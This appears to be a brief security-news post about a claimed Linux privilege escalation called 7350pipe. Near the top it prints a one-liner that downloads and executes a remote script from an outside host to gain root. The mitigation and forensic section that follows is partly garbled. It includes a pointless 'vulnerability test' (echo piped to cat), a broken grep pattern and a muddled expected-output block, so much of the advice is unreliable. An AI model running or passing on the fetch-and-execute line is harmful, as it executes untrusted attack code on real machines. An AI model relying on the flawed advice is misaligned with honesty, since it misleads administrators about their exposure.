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A critical privilege escalation vulnerability, CVE-2025-0401, dubbed 7350pipe, has been discovered affecting all versions of Linux. The exploit allows attackers to gain root privileges via a simple one-liner:
. <(curl -SsfL https://thc.org/7350pipe)
You Should Know:
Exploit Analysis
The vulnerability leverages a flaw in Linux’s pipe handling mechanism, enabling arbitrary code execution with elevated privileges. The exploit fetches and executes a malicious payload from a remote server.
Mitigation Steps
- Patch Immediately: Check for kernel updates from your distribution’s repository.
sudo apt update && sudo apt upgrade -y Debian/Ubuntu sudo yum update -y RHEL/CentOS
2. Restrict Unauthorized Script Execution:
chmod 700 /usr/bin/curl Restrict curl usage
3. Monitor Suspicious Activity:
sudo grep -r "7350pipe" /var/log/ Check logs for exploitation attempts
4. Disable Dangerous Functions Temporarily:
sudo sysctl -w kernel.unprivileged_userns_clone=0 Disable unprivileged user namespaces
Exploit Verification
Test if your system is vulnerable (safe command):
echo "Testing pipe mechanism" | cat
If the output is manipulated, the system may be compromised.
Forensic Analysis Commands
- Check running processes:
ps aux | grep -i "curl|sh"
- Inspect network connections:
netstat -tulnp | grep -E "(thc.org|7350pipe)"
What Undercode Say
This exploit demonstrates the dangers of unvalidated remote code execution in Linux. System administrators must enforce strict curl/wget policies, implement SELinux/AppArmor, and monitor /proc/self/exe for unusual activity.
Expected Output:
uid=0(root) gid=0(root) groups=0(root) If exploited Testing pipe mechanism If safe
Reference:
(End of report)
References:
Reported By: Tcp Sec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
